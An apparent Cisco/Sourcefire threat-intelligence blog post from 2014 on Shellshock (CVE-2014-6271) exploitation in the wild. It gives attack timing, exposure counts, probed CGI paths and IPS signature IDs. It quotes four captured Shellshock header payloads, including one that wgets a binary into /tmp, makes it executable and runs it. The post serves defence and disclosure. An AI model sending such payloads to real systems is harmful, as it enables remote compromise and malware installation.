Shellshock Exploits in the Wild

Tuesday, September 30, 2014 04:01

This post was authored by Joel Esler & Martin Lee.

The recently discovered Bash vulnerability (CVE-2014-6271) potentially allows attackers to execute code on vulnerable systems. We have already blogged about the issue and provided more technical detail in a further blog. The rapid release of IPS signatures for our platforms allowed us to follow very quickly, the attempts at exploitation of the vulnerability in the wild.

For further details of our response to the issue, please see the Event Response Page.

Analysing our IPS telemetry shows that exploitation was detectable as early as Wednesday 24 September 04:00 GMT, reaching a peak on Friday 26 September 04:00 GMT, before tailing off over the weekend and spiking on Sunday 28 September 16:00 GMT. Attempted exploitation of the vulnerability can be expected to continue for many months and years to come.

Data supplied by Shodan shows 3515 devices vulnerable to Shellshock on port 80, this contrasts with in excess of 530 000 devices that were identified as being susceptible to Heartbleed shortly after the vulnerability was identified. It appears that the exposure to Shellshock is lower than Heartbleed, but Shellshock can affect many ports other than 80, so this number is likely to be an under representation of the true figures. Exploiting Heartbleed required many malicious requests to a vulnerable server in order to maximise the collection of exposed memory contents. In contrast, Shellshock potentially only requires one request to compromise a device.

Examining our data in more detail shows that the majority of attacks originate from a handful of IP addresses:

The source of these scans may be benign, representing researchers investigating the scale of the issue. However, for the recipient of of a scan, distinguishing malicious from non-malicious scans is not always possible.

The attacks we have observed have been directed against port 80, many of them testing for the presence of URIs such as:

/
/cgi-bin/count.cgi
/cgi-sys/defaultwebpage.cgi
/cgi-bin/hi
/cgi-bin/test.sh
/test
/cgi-bin/test.cgi
/cgi-bin/test-cgi
/cgi-bin/help.cgi
/wp-login.php

In some cases, the exploit attempt is clearly visible within the host name HTTP header:

() { :; }; /bin/ping -c 3 109.235.51.42
() { :; }; /usr/bin/env wget hxxp://173.193.139.2/host
() { :; }; wget 37.187.225.119/a; wget 37.187.225.119/action.php > /var/www/
() { :;}; wget -O /tmp/syslogd hxxp://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;

The last example attempts to force the download and installation of a malicious binary Linux.Flooder.Agent as detected by ClamAV.

Attackers are certainly including similar strings in other headers to test if devices are vulnerable, and if they are to exploit and take over the device. Patching devices will remove the vulnerability, however with so many devices that may be vulnerable, this may take some time. IPS appliances and firewalls with integrated IPS capability will detect and block such attacks. Protecting unpatched devices by these solutions will provide protection for vulnerable devices. In any case, network administrators will need to remain vigilant for the presence of attempts at shellshock exploitation for a long time to come.

Protecting Users Against These Threats

The best way to block this threat is using Network AMP or Network Security protection of IPS and NGFW, which have up-to-date signatures and will block this threat. The following signatures cover this threat:

Sourcefire: 31975-31978, 31985

Cisco: 4689-0, 4689-1,4689-2,4689-3

For the latest information from the Cisco Product Security Incident Response Team (PSIRT) please see the Cisco Event Response: GNU Bash Environment Variable Command Injection Vulnerability.